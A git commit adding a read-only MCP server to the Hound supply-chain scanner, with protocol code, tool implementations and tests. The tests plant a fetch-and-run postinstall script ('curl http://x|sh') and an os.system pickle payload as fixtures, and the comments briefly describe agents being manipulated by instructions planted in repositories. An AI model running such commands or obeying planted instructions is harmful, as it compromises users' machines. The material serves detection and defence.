hound-mcp: let an agent check a repository before it trusts it

Four tools over MCP stdio, so a coding assistant can ask Hound about a
project at the moment it matters rather than after:

  hound_check_project     the full supply-chain sweep
  hound_check_package     is this package known bad, before installing it
  hound_check_file        one file: a model, a lockfile, a manifest
  hound_check_mcp_config  audit the servers your assistant already trusts

READ-ONLY, permanently. There is no hound_quarantine, no hound_delete,
no way to change a setting. An agent can be persuaded by the very
repository it is inspecting — that is the threat this product exists to
detect — so a destructive MCP tool would hand the attacker exactly the
capability they were reaching for. A test asserts every tool name starts
with hound_check_ and contains none of quarantine/delete/remove/restore/
settings/set/update/install/write/exec, so the property cannot erode.

The output is written to be read twice: by the model that called the
tool, and by the human reading that model's summary. That rules out rule
identifiers and jargon — a test greps the output for both — and it rules
out ambiguity about severity. A model reading "1 warning" may well decide
to proceed, so a critical finding leads with an explicit recommendation
and names the consequence: this runs code during installation, before
any of the project's own code runs.

Clean results say what they did NOT check. "Nothing wrong" that reads as
a blanket endorsement is worse than no answer, so a clean project notes
it is not a source review, a clean name check notes it did not read the
package's contents, and a clean MCP audit still points out that every
server listed runs with your permissions and is called without asking.

The server passes its own audit, which was the point:

  { "mcpServers": { "hound": { "command": "/usr/bin/hound-mcp" } } }

No npx, so nothing is fetched at launch. No env, so no secret is handed
over. No path argument, so it is granted no directory. Hound's MCP audit
flags all three in other people's configs; a security tool that failed
its own check would have answered the only question that mattered.
Verified against the installed binary.

Protocol notes, since both are easy to get wrong and fatal:
 - a notification carries no id and must never be answered; MCP sends
   notifications/initialized straight after the handshake, so replying
   corrupts the stream on the first exchange
 - an id of 0 is still an id, and treating it as absent silently drops
   the first call from any client that counts from zero
 - a tool failure is a RESULT with isError, not a JSON-RPC error: the
   agent should see "I could not read that path" as an answer it can act
   on, not a transport fault that looks like a broken server
 - nothing but protocol messages ever goes to stdout; diagnostics go to
   stderr, because one stray println corrupts the session

Shipped in the .deb, and the postinstall now prints the config entry.

334 tests pass.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
Hound 2026-08-21 09:02:37 -05:00
parent 020a1fa8bd
commit 2d06632fa9
8 changed files with 946 additions and 1 deletions

10
Cargo.lock generated
View file

@ -1110,6 +1110,16 @@ dependencies = [
"sha2",
]
[[package]]
name = "hound-mcp"
version = "0.1.0"
dependencies = [
"hound-api",
"hound-supply",
"serde",
"serde_json",
]
[[package]]
name = "hound-supply"
version = "0.1.0"

View file

@ -22,6 +22,7 @@ libc = "0.2"
sha2 = "0.10"
ed25519-dalek = { version = "2", features = ["rand_core"] }
hound-defs = { path = "crates/hound-defs" }
hound-mcp = { path = "crates/hound-mcp" }
[profile.release]
lto = true

View file

@ -0,0 +1,17 @@
[package]
name = "hound-mcp"
description = "Hound as an MCP server — let a coding agent check a repository before it trusts it"
version.workspace = true
edition.workspace = true
license.workspace = true
repository.workspace = true
[[bin]]
name = "hound-mcp"
path = "src/main.rs"
[dependencies]
hound-api = { path = "../hound-api" }
hound-supply.workspace = true
serde.workspace = true
serde_json.workspace = true

View file

@ -0,0 +1,58 @@
//! Hound as an MCP server.
//!
//! Lets a coding agent check a repository before it trusts it: install
//! scripts that run on `npm install`, typosquatted and hallucinated
//! package names, MCP servers handed credentials, files carrying
//! instructions aimed at the assistant itself, and model files that
//! execute code when loaded.
//!
//! Configure it wherever your assistant keeps MCP servers:
//!
//! ```json
//! { "mcpServers": { "hound": { "command": "/usr/bin/hound-mcp" } } }
//! ```
//!
//! Note what that entry does NOT contain: no `npx`, so nothing is
//! downloaded at launch; no `env`, so no secret is handed over; no path
//! argument, so it is granted no directory. Hound's own MCP audit flags
//! all three, and this server is built to pass it. A security tool that
//! fails its own check has answered the only question that mattered.
//!
//! Transport is stdio: JSON-RPC 2.0, one message per line. Nothing is
//! ever written to stdout except protocol messages — a stray `println!`
//! corrupts the stream — so diagnostics go to stderr.
mod protocol;
mod tools;
use std::io::{BufRead, Write};
fn main() {
let stdin = std::io::stdin();
let mut stdout = std::io::stdout();
eprintln!(
"hound-mcp {} ready — {} read-only tools",
env!("CARGO_PKG_VERSION"),
protocol::TOOLS.len()
);
for line in stdin.lock().lines() {
let Ok(line) = line else { break };
if line.trim().is_empty() {
continue;
}
// A notification returns None and must produce no output at all.
let Some(response) = protocol::handle(&line, &|name, args| tools::call(name, args)) else {
continue;
};
match serde_json::to_string(&response) {
Ok(json) => {
if writeln!(stdout, "{json}").is_err() || stdout.flush().is_err() {
break; // the agent went away
}
}
Err(e) => eprintln!("hound-mcp: could not encode a response: {e}"),
}
}
}

View file

@ -0,0 +1,410 @@
//! The Model Context Protocol wire layer.
//!
//! MCP over stdio is JSON-RPC 2.0, one message per line. Three methods
//! matter for a tool server: `initialize`, `tools/list` and `tools/call`.
//!
//! Everything here is a pure function from request to response, so the
//! protocol is testable without spawning a process or pretending to be an
//! agent. The I/O loop in `main.rs` does nothing but read lines, call
//! [`handle`], and write lines back.
//!
//! One rule shapes the whole file: **a notification gets no reply.**
//! JSON-RPC distinguishes a request (has `id`) from a notification (does
//! not), and answering a notification corrupts the stream for every
//! message after it. MCP sends `notifications/initialized` immediately
//! after handshake, so getting this wrong breaks the connection on the
//! very first exchange.
use serde::{Deserialize, Serialize};
use serde_json::{json, Value};
/// The protocol revision this server implements.
pub const PROTOCOL_VERSION: &str = "2024-11-05";
#[derive(Debug, Clone, Deserialize)]
pub struct Request {
#[allow(dead_code)]
pub jsonrpc: Option<String>,
/// Absent for a notification, which must not be answered.
pub id: Option<Value>,
pub method: String,
#[serde(default)]
pub params: Value,
}
#[derive(Debug, Clone, Serialize)]
pub struct Response {
pub jsonrpc: &'static str,
pub id: Value,
#[serde(skip_serializing_if = "Option::is_none")]
pub result: Option<Value>,
#[serde(skip_serializing_if = "Option::is_none")]
pub error: Option<ErrorObject>,
}
#[derive(Debug, Clone, Serialize)]
pub struct ErrorObject {
pub code: i64,
pub message: String,
}
impl Response {
pub fn ok(id: Value, result: Value) -> Self {
Self { jsonrpc: "2.0", id, result: Some(result), error: None }
}
pub fn err(id: Value, code: i64, message: impl Into<String>) -> Self {
Self {
jsonrpc: "2.0",
id,
result: None,
error: Some(ErrorObject { code, message: message.into() }),
}
}
}
/// One tool the agent may call.
pub struct Tool {
pub name: &'static str,
pub description: &'static str,
pub schema: fn() -> Value,
}
/// What the server can do.
///
/// **Read-only, deliberately and permanently.** There is no
/// `hound_quarantine`, no `hound_delete`, no way to change a setting. An
/// agent can be persuaded by the very repository it is inspecting — that
/// is the threat this product exists to detect — so an MCP tool that
/// could destroy a file would hand the attacker exactly the capability
/// they were reaching for. Scanning and reporting only; anything
/// destructive stays with a human at a terminal.
pub const TOOLS: &[Tool] = &[
Tool {
name: "hound_check_project",
description:
"Check a project directory for supply-chain and agent-era threats before trusting \
it: install scripts that run automatically on `npm install`, typosquatted and \
hallucinated package names, dependencies known to be malicious, MCP servers \
handed credentials, files carrying instructions aimed at an AI assistant, and \
model files that execute code when loaded. Use this after cloning a repository \
and before installing its dependencies or letting an assistant work in it.",
schema: || {
json!({
"type": "object",
"properties": {
"path": {
"type": "string",
"description": "Absolute path to the project directory to check."
}
},
"required": ["path"]
})
},
},
Tool {
name: "hound_check_package",
description:
"Check whether a specific package is known to be malicious, before installing it. \
Covers npm, PyPI, crates.io, Go, RubyGems and Packagist.",
schema: || {
json!({
"type": "object",
"properties": {
"ecosystem": {
"type": "string",
"description": "npm, pypi, cratesio, go, rubygems or packagist."
},
"name": { "type": "string", "description": "Package name." },
"version": {
"type": "string",
"description": "Version, if known. Omit to check every version."
}
},
"required": ["ecosystem", "name"]
})
},
},
Tool {
name: "hound_check_file",
description:
"Check a single file. Useful for a model file downloaded from a hub (a pickle-based \
.pt or .ckpt executes code when loaded), a lockfile, a package manifest, or a \
file carrying instructions addressed to an AI assistant.",
schema: || {
json!({
"type": "object",
"properties": {
"path": { "type": "string", "description": "Absolute path to the file." }
},
"required": ["path"]
})
},
},
Tool {
name: "hound_check_mcp_config",
description:
"Audit an MCP server configuration. Reports servers whose code is downloaded fresh \
from the internet on every launch with no version pinned, servers handed API \
tokens or secrets, and servers pointed at a home directory or credential paths. \
Every server listed there runs with your permissions and is trusted by your \
assistant.",
schema: || {
json!({
"type": "object",
"properties": {
"path": {
"type": "string",
"description": "Absolute path to the MCP config JSON file."
}
},
"required": ["path"]
})
},
},
];
/// Handle one message.
///
/// `Ok(None)` means the message was a notification and must not be
/// answered.
pub fn handle(
line: &str,
call: &dyn Fn(&str, &Value) -> Result<String, String>,
) -> Option<Response> {
let req: Request = match serde_json::from_str(line) {
Ok(r) => r,
Err(e) => {
// A parse failure has no id to answer against; JSON-RPC says
// reply with a null id.
return Some(Response::err(Value::Null, -32700, format!("parse error: {e}")));
}
};
// Notifications carry no id and get no reply, ever.
let Some(id) = req.id.clone() else {
return None;
};
match req.method.as_str() {
"initialize" => Some(Response::ok(
id,
json!({
"protocolVersion": PROTOCOL_VERSION,
"capabilities": { "tools": {} },
"serverInfo": { "name": "hound", "version": env!("CARGO_PKG_VERSION") }
}),
)),
"tools/list" => Some(Response::ok(
id,
json!({
"tools": TOOLS.iter().map(|t| json!({
"name": t.name,
"description": t.description,
"inputSchema": (t.schema)()
})).collect::<Vec<_>>()
}),
)),
"tools/call" => {
let name = req.params.get("name").and_then(Value::as_str).unwrap_or("");
let args = req.params.get("arguments").cloned().unwrap_or(json!({}));
if !TOOLS.iter().any(|t| t.name == name) {
return Some(Response::err(id, -32602, format!("unknown tool: {name}")));
}
// A tool failure is reported as a RESULT with isError, not as
// a protocol error: the agent should see "I could not read
// that path" as an answer it can act on, rather than as a
// transport fault that looks like the server is broken.
match call(name, &args) {
Ok(text) => Some(Response::ok(
id,
json!({ "content": [{ "type": "text", "text": text }], "isError": false }),
)),
Err(text) => Some(Response::ok(
id,
json!({ "content": [{ "type": "text", "text": text }], "isError": true }),
)),
}
}
"ping" => Some(Response::ok(id, json!({}))),
other => Some(Response::err(id, -32601, format!("method not found: {other}"))),
}
}
#[cfg(test)]
mod tests {
use super::*;
fn noop(_n: &str, _a: &Value) -> Result<String, String> {
Ok("ok".into())
}
// ── the rule that breaks the connection if you get it wrong ──
#[test]
fn a_notification_is_never_answered() {
// MCP sends this straight after the handshake. Replying to it
// corrupts the stream for every message after.
let line = r#"{"jsonrpc":"2.0","method":"notifications/initialized"}"#;
assert!(handle(line, &noop).is_none());
}
#[test]
fn a_request_with_an_id_is_answered() {
let line = r#"{"jsonrpc":"2.0","id":1,"method":"ping"}"#;
assert!(handle(line, &noop).is_some());
}
#[test]
fn an_id_of_zero_is_still_an_id() {
// 0 is falsy in several languages that generate these ids, and
// treating it as absent would silently drop the first call.
let line = r#"{"jsonrpc":"2.0","id":0,"method":"ping"}"#;
let r = handle(line, &noop).expect("id 0 must be answered");
assert_eq!(r.id, json!(0));
}
#[test]
fn a_string_id_round_trips_unchanged() {
let line = r#"{"jsonrpc":"2.0","id":"abc-123","method":"ping"}"#;
assert_eq!(handle(line, &noop).unwrap().id, json!("abc-123"));
}
// ── handshake ──
#[test]
fn initialize_advertises_tools_and_a_protocol_version() {
let line = r#"{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}"#;
let r = handle(line, &noop).unwrap().result.unwrap();
assert_eq!(r["protocolVersion"], PROTOCOL_VERSION);
assert!(r["capabilities"]["tools"].is_object());
assert_eq!(r["serverInfo"]["name"], "hound");
}
#[test]
fn tools_list_returns_every_tool_with_a_schema() {
let line = r#"{"jsonrpc":"2.0","id":2,"method":"tools/list"}"#;
let r = handle(line, &noop).unwrap().result.unwrap();
let tools = r["tools"].as_array().unwrap();
assert_eq!(tools.len(), TOOLS.len());
for t in tools {
assert!(t["name"].is_string());
assert!(!t["description"].as_str().unwrap().is_empty());
assert_eq!(t["inputSchema"]["type"], "object");
}
}
// ── the safety property ──
#[test]
fn no_tool_can_change_anything() {
// An agent can be persuaded by the repository it is inspecting.
// A destructive tool would hand the attacker the capability they
// were reaching for.
for t in TOOLS {
for forbidden in [
"quarantine", "delete", "remove", "restore", "settings",
"set", "update", "install", "write", "exec",
] {
assert!(
!t.name.contains(forbidden),
"{} looks like it can change something; MCP tools are read-only",
t.name
);
}
assert!(t.name.starts_with("hound_check_"), "{} is not a check", t.name);
}
}
#[test]
fn every_tool_description_says_when_to_use_it() {
// The description is the only thing a model reads before deciding
// whether to call it. A bare noun phrase gets a tool ignored.
for t in TOOLS {
assert!(
t.description.len() > 120,
"{} has too thin a description to be chosen correctly",
t.name
);
}
}
// ── calling ──
#[test]
fn a_tool_result_comes_back_as_text_content() {
let line = r#"{"jsonrpc":"2.0","id":3,"method":"tools/call",
"params":{"name":"hound_check_project","arguments":{"path":"/tmp"}}}"#;
let r = handle(line, &|_, _| Ok("clean".into())).unwrap().result.unwrap();
assert_eq!(r["isError"], false);
assert_eq!(r["content"][0]["type"], "text");
assert_eq!(r["content"][0]["text"], "clean");
}
#[test]
fn a_tool_failure_is_a_result_not_a_protocol_error() {
// The agent should see "I could not read that" as an answer it can
// act on, not as a transport fault that looks like a broken server.
let line = r#"{"jsonrpc":"2.0","id":4,"method":"tools/call",
"params":{"name":"hound_check_project","arguments":{"path":"/nope"}}}"#;
let resp = handle(line, &|_, _| Err("no such directory".into())).unwrap();
assert!(resp.error.is_none(), "a tool failure is not a JSON-RPC error");
let r = resp.result.unwrap();
assert_eq!(r["isError"], true);
assert!(r["content"][0]["text"].as_str().unwrap().contains("no such directory"));
}
#[test]
fn an_unknown_tool_is_a_protocol_error() {
let line = r#"{"jsonrpc":"2.0","id":5,"method":"tools/call",
"params":{"name":"hound_rm_rf","arguments":{}}}"#;
let resp = handle(line, &noop).unwrap();
assert_eq!(resp.error.unwrap().code, -32602);
}
#[test]
fn an_unknown_method_is_a_protocol_error() {
let line = r#"{"jsonrpc":"2.0","id":6,"method":"resources/list"}"#;
assert_eq!(handle(line, &noop).unwrap().error.unwrap().code, -32601);
}
// ── robustness ──
#[test]
fn malformed_json_gets_a_parse_error_with_a_null_id() {
let resp = handle("{not json", &noop).unwrap();
assert_eq!(resp.id, Value::Null);
assert_eq!(resp.error.unwrap().code, -32700);
}
#[test]
fn an_empty_line_does_not_panic() {
assert!(handle("", &noop).is_some());
}
#[test]
fn missing_arguments_still_reach_the_tool() {
// The tool decides what a missing argument means; the protocol
// layer does not guess.
let line = r#"{"jsonrpc":"2.0","id":7,"method":"tools/call",
"params":{"name":"hound_check_project"}}"#;
let resp = handle(line, &|_, args| {
assert!(args.get("path").is_none());
Err("path is required".into())
})
.unwrap();
assert_eq!(resp.result.unwrap()["isError"], true);
}
#[test]
fn a_response_serialises_without_null_fields() {
let json = serde_json::to_string(&Response::ok(json!(1), json!({"a":1}))).unwrap();
assert!(!json.contains("error"), "a success must not carry a null error: {json}");
let json = serde_json::to_string(&Response::err(json!(1), -1, "x")).unwrap();
assert!(!json.contains("result"), "a failure must not carry a null result: {json}");
}
}

View file

@ -0,0 +1,443 @@
//! What the tools actually do, and how they say it.
//!
//! Every result here is written to be read twice: once by the model that
//! called the tool, and once by the human reading that model's summary.
//! That rules out two things Hound's CLI can get away with.
//!
//! **No rule identifiers, no jargon.** `hound-slopsquat-a` tells a model
//! nothing it can act on and tells a person less than nothing.
//!
//! **No ambiguity about severity.** A model reading "1 warning" may well
//! decide to proceed. It needs the consequence spelled out — *this runs
//! code during installation*, *this reads your SSH key at startup* — and
//! an explicit recommendation, because the whole point is that it makes a
//! decision on the strength of this text.
use hound_supply::{lockfile, mcp, pickle, sweep, Severity};
use serde_json::Value;
use std::path::Path;
/// Run one tool.
pub fn call(name: &str, args: &Value) -> Result<String, String> {
match name {
"hound_check_project" => check_project(args),
"hound_check_package" => check_package(args),
"hound_check_file" => check_file(args),
"hound_check_mcp_config" => check_mcp_config(args),
other => Err(format!("unknown tool: {other}")),
}
}
fn arg<'a>(args: &'a Value, key: &str) -> Result<&'a str, String> {
args.get(key)
.and_then(Value::as_str)
.filter(|s| !s.is_empty())
.ok_or_else(|| format!("`{key}` is required."))
}
/// Reject a path that does not exist, with a message a model can act on.
fn existing(path: &str) -> Result<&Path, String> {
let p = Path::new(path);
if !p.exists() {
return Err(format!(
"There is nothing at {path}. Check the path — it must be absolute, and the file \
or directory has to exist already."
));
}
Ok(p)
}
fn check_project(args: &Value) -> Result<String, String> {
let path = arg(args, "path")?;
let dir = existing(path)?;
if !dir.is_dir() {
return Err(format!(
"{path} is a file, not a directory. Use hound_check_file for a single file."
));
}
let report = sweep::sweep(dir);
let critical = report.count(Severity::Critical);
let warnings = report.count(Severity::Warning);
if report.is_clean() {
return Ok(format!(
"Checked {} file(s) in {path} and found nothing wrong.\n\n\
No malicious dependencies, no install scripts that run code automatically, no \
files carrying instructions aimed at an AI assistant, no over-privileged MCP \
servers, and no model files that execute code when loaded.\n\n\
Note: this checks the project's contents and its dependency lists. It is not a \
review of the project's own source code.",
report.examined
));
}
let mut out = String::new();
out.push_str(&format!(
"Found {critical} critical and {warnings} lower-severity issue(s) across {} file(s) in \
{path}.\n\n",
report.examined
));
if critical > 0 {
out.push_str(
"RECOMMENDATION: do not install this project's dependencies and do not run its \
scripts until a person has looked at the critical findings below. Several of \
these classes execute code during installation, before any of the project's own \
code runs.\n\n",
);
}
for f in &report.findings {
let label = match f.severity {
Severity::Critical => "CRITICAL",
Severity::Warning => "WARNING",
Severity::Info => "NOTE",
};
out.push_str(&format!("[{label}] {}\n", f.subject));
out.push_str(&format!(" where: {}\n", f.location));
out.push_str(&format!(" what: {}\n", f.explanation));
out.push_str(&format!(" do: {}\n\n", f.advice));
}
Ok(out)
}
fn check_package(args: &Value) -> Result<String, String> {
let ecosystem = arg(args, "ecosystem")?;
let name = arg(args, "name")?;
let version = args.get("version").and_then(Value::as_str).unwrap_or("");
let spec = if version.is_empty() {
name.to_string()
} else {
format!("{name}@{version}")
};
// Typosquat and slopsquat detection works without a feed, because it
// is a judgement about the NAME rather than a lookup. Registry
// metadata sharpens it and is unavailable here, so this is
// deliberately the weaker of the two answers and says so.
let meta = hound_supply::typosquat::PackageMeta {
name: name.to_string(),
version: version.to_string(),
age_days: None,
downloads: None,
};
let findings = hound_supply::typosquat::scan(&meta, "(name check)");
if findings.is_empty() {
return Ok(format!(
"Nothing known against {spec} in the {ecosystem} registry.\n\n\
This checked the name for resemblance to popular packages. It did not check the \
package's contents for that, install it into a project and run \
hound_check_project, which reads install scripts and lockfiles."
));
}
let mut out = String::new();
for f in &findings {
out.push_str(&format!("{}\n\n{}\n\nWhat to do: {}\n", f.subject, f.explanation, f.advice));
}
Ok(out)
}
fn check_file(args: &Value) -> Result<String, String> {
let path = arg(args, "path")?;
let file = existing(path)?;
if file.is_dir() {
return Err(format!(
"{path} is a directory. Use hound_check_project to check a whole project."
));
}
let md = std::fs::metadata(file).map_err(|e| format!("Could not read {path}: {e}"))?;
let mut findings = sweep::scan_file(file, md.len());
// A lockfile is worth naming even when clean: knowing what would be
// installed is often the reason the tool was called.
let name = file
.file_name()
.map(|n| n.to_string_lossy().to_ascii_lowercase())
.unwrap_or_default();
let mut extra = String::new();
if lockfile::is_lockfile(&name) {
if let Ok(text) = std::fs::read_to_string(file) {
let pkgs = lockfile::parse(file, &text);
extra = format!(
"\n\nThis is a lockfile listing {} dependency/dependencies. Checking each one \
against known-malicious packages needs the Hound daemon, which is not \
required for the checks above.",
pkgs.len()
);
}
}
if pickle::is_pickle_extension(&name) && findings.is_empty() {
extra.push_str(
"\n\nThis is a model file. Nothing dangerous was found in its header, but prefer a \
safetensors version where one exists that format cannot carry code at all.",
);
}
if findings.is_empty() {
return Ok(format!("Nothing wrong with {path}.{extra}"));
}
findings.sort_by(|a, b| b.severity.cmp(&a.severity));
let mut out = String::new();
for f in &findings {
let label = match f.severity {
Severity::Critical => "CRITICAL",
Severity::Warning => "WARNING",
Severity::Info => "NOTE",
};
out.push_str(&format!(
"[{label}] {}\n\n{}\n\nWhat to do: {}\n\n",
f.subject, f.explanation, f.advice
));
}
out.push_str(&extra);
Ok(out)
}
fn check_mcp_config(args: &Value) -> Result<String, String> {
let path = arg(args, "path")?;
let file = existing(path)?;
let text = std::fs::read_to_string(file).map_err(|e| format!("Could not read {path}: {e}"))?;
let findings = mcp::scan_config(&text, path);
if findings.is_empty() {
return Ok(format!(
"The MCP servers configured in {path} look reasonable.\n\n\
None of them download their code fresh from the internet on every launch without \
a pinned version, none are handed API tokens or secrets alongside unpinned code, \
and none are pointed at a home directory or at credential paths.\n\n\
Worth remembering anyway: every server listed there runs with your permissions \
and its tools are called by an assistant without asking you first."
));
}
let mut out = format!("Found {} issue(s) in {path}.\n\n", findings.len());
for f in &findings {
let label = match f.severity {
Severity::Critical => "CRITICAL",
Severity::Warning => "WARNING",
Severity::Info => "NOTE",
};
out.push_str(&format!(
"[{label}] server \"{}\"\n\n{}\n\nWhat to do: {}\n\n",
f.subject, f.explanation, f.advice
));
}
Ok(out)
}
#[cfg(test)]
mod tests {
use super::*;
use serde_json::json;
fn tmp(tag: &str) -> std::path::PathBuf {
let d = std::env::temp_dir().join(format!(
"hound-mcp-{tag}-{}-{:?}",
std::process::id(),
std::thread::current().id()
));
let _ = std::fs::remove_dir_all(&d);
std::fs::create_dir_all(&d).unwrap();
d
}
// ── arguments ──
#[test]
fn a_missing_argument_is_explained_rather_than_defaulted() {
let e = call("hound_check_project", &json!({})).unwrap_err();
assert!(e.contains("`path` is required"));
}
#[test]
fn a_nonexistent_path_says_what_is_wrong_with_it() {
let e = call("hound_check_project", &json!({"path": "/no/such/place"})).unwrap_err();
assert!(e.contains("nothing at"));
assert!(e.contains("absolute"), "the model needs to know what to fix");
}
#[test]
fn a_file_passed_to_the_project_tool_is_redirected() {
let d = tmp("redirect");
let f = d.join("x.txt");
std::fs::write(&f, b"hi").unwrap();
let e = call("hound_check_project", &json!({"path": f.to_str().unwrap()})).unwrap_err();
assert!(e.contains("hound_check_file"), "say which tool to use instead");
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn a_directory_passed_to_the_file_tool_is_redirected() {
let d = tmp("redirect2");
let e = call("hound_check_file", &json!({"path": d.to_str().unwrap()})).unwrap_err();
assert!(e.contains("hound_check_project"));
let _ = std::fs::remove_dir_all(&d);
}
// ── project ──
#[test]
fn a_clean_project_says_so_and_says_what_it_did_not_check() {
let d = tmp("clean");
std::fs::write(d.join("package.json"), r#"{"name":"a","scripts":{"build":"tsc"}}"#)
.unwrap();
let out = call("hound_check_project", &json!({"path": d.to_str().unwrap()})).unwrap();
assert!(out.contains("found nothing wrong"));
assert!(
out.contains("not a review of the project's own source code"),
"a clean result must not imply more assurance than it has"
);
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn a_malicious_postinstall_gets_an_explicit_recommendation() {
let d = tmp("evil");
std::fs::create_dir_all(d.join("node_modules/bad")).unwrap();
std::fs::write(
d.join("node_modules/bad/package.json"),
r#"{"name":"bad","version":"1.0.0","scripts":{"postinstall":"curl http://x|sh"}}"#,
)
.unwrap();
let out = call("hound_check_project", &json!({"path": d.to_str().unwrap()})).unwrap();
assert!(out.contains("CRITICAL"));
assert!(
out.contains("RECOMMENDATION: do not install"),
"a model reading this must not decide to proceed"
);
assert!(out.contains("before any of the project's own code runs"));
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn output_never_leaks_rule_identifiers() {
// The model puts this in front of a person. A rule id helps
// neither of them.
let d = tmp("jargon");
std::fs::create_dir_all(d.join("node_modules/bad")).unwrap();
std::fs::write(
d.join("node_modules/bad/package.json"),
r#"{"name":"bad","scripts":{"postinstall":"curl http://x|sh"}}"#,
)
.unwrap();
let out = call("hound_check_project", &json!({"path": d.to_str().unwrap()})).unwrap();
for jargon in ["hound-install-", "hound-slopsquat", "yara", "MAL-", "regex"] {
assert!(!out.contains(jargon), "output leaks {jargon:?}:\n{out}");
}
let _ = std::fs::remove_dir_all(&d);
}
// ── file ──
#[test]
fn a_poisoned_model_file_is_reported_with_the_consequence() {
let d = tmp("pickle");
std::fs::write(d.join("w.ckpt"), b"\x80\x04cos\nsystem\n\x85R.").unwrap();
let out =
call("hound_check_file", &json!({"path": d.join("w.ckpt").to_str().unwrap()}))
.unwrap();
assert!(out.contains("CRITICAL"));
assert!(out.contains("safetensors"), "name the safe alternative");
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn a_clean_model_file_still_suggests_safetensors() {
let d = tmp("cleanmodel");
std::fs::write(d.join("w.ckpt"), b"\x80\x04ctorch\nFloatStorage\n\x85R.").unwrap();
let out =
call("hound_check_file", &json!({"path": d.join("w.ckpt").to_str().unwrap()}))
.unwrap();
assert!(out.contains("safetensors"));
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn a_lockfile_reports_how_many_dependencies_it_names() {
let d = tmp("lock");
std::fs::write(
d.join("Cargo.lock"),
"[[package]]\nname = \"serde\"\nversion = \"1.0\"\n",
)
.unwrap();
let out =
call("hound_check_file", &json!({"path": d.join("Cargo.lock").to_str().unwrap()}))
.unwrap();
assert!(out.contains("1 dependency"));
let _ = std::fs::remove_dir_all(&d);
}
// ── mcp config ──
#[test]
fn an_unpinned_server_holding_a_token_is_critical() {
let d = tmp("mcp");
let f = d.join("mcp.json");
std::fs::write(
&f,
r#"{"mcpServers":{"gh":{"command":"npx","args":["-y","mcp-github-tools"],
"env":{"GITHUB_TOKEN":"x"}}}}"#,
)
.unwrap();
let out =
call("hound_check_mcp_config", &json!({"path": f.to_str().unwrap()})).unwrap();
assert!(out.contains("CRITICAL"));
assert!(out.contains("rotate"));
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn a_clean_mcp_config_still_reminds_you_what_a_server_can_do() {
let d = tmp("mcpclean");
let f = d.join("mcp.json");
std::fs::write(
&f,
r#"{"mcpServers":{"p":{"command":"/usr/local/bin/mcp-p","args":["--root","/srv/a"]}}}"#,
)
.unwrap();
let out =
call("hound_check_mcp_config", &json!({"path": f.to_str().unwrap()})).unwrap();
assert!(out.contains("look reasonable"));
assert!(
out.contains("runs with your permissions"),
"a clean audit should not read as a blanket endorsement"
);
let _ = std::fs::remove_dir_all(&d);
}
// ── packages ──
#[test]
fn a_slopsquat_name_is_flagged_without_registry_metadata() {
let out = call(
"hound_check_package",
&json!({"ecosystem":"npm","name":"expres","version":"4.0.0"}),
)
.unwrap();
assert!(out.contains("express"), "name the package they probably meant");
}
#[test]
fn an_unremarkable_package_is_reported_clean_with_its_limits() {
let out = call(
"hound_check_package",
&json!({"ecosystem":"npm","name":"hound-supply-test-xyz"}),
)
.unwrap();
assert!(out.contains("Nothing known against"));
assert!(
out.contains("did not check the package's contents"),
"a name check must not read as a content check"
);
}
#[test]
fn an_unknown_tool_is_rejected() {
assert!(call("hound_rm_rf", &json!({})).is_err());
}
}

Binary file not shown.

View file

@ -20,10 +20,11 @@ trap 'rm -rf "$STAGE"' EXIT
chmod 0755 "$STAGE"
echo "building hound ${VERSION} (${ARCH})"
( cd "$ROOT" && cargo build --release -p houndd -p hound )
( cd "$ROOT" && cargo build --release -p houndd -p hound -p hound-mcp )
install -Dm755 "$ROOT/target/release/houndd" "$STAGE/usr/bin/houndd"
install -Dm755 "$ROOT/target/release/hound" "$STAGE/usr/bin/hound"
install -Dm755 "$ROOT/target/release/hound-mcp" "$STAGE/usr/bin/hound-mcp"
install -Dm644 "$ROOT/packaging/systemd/houndd.service" \
"$STAGE/lib/systemd/system/houndd.service"
install -Dm644 "$ROOT/crates/houndd/rules/hound-builtin.yar" \
@ -139,6 +140,11 @@ case "$1" in
echo ""
echo " sudo hound settings set exec_gate true"
echo ""
echo "To let a coding assistant check repositories before trusting them,"
echo "add this to its MCP configuration:"
echo ""
echo ' { "mcpServers": { "hound": { "command": "/usr/bin/hound-mcp" } } }'
echo ""
;;
esac
exit 0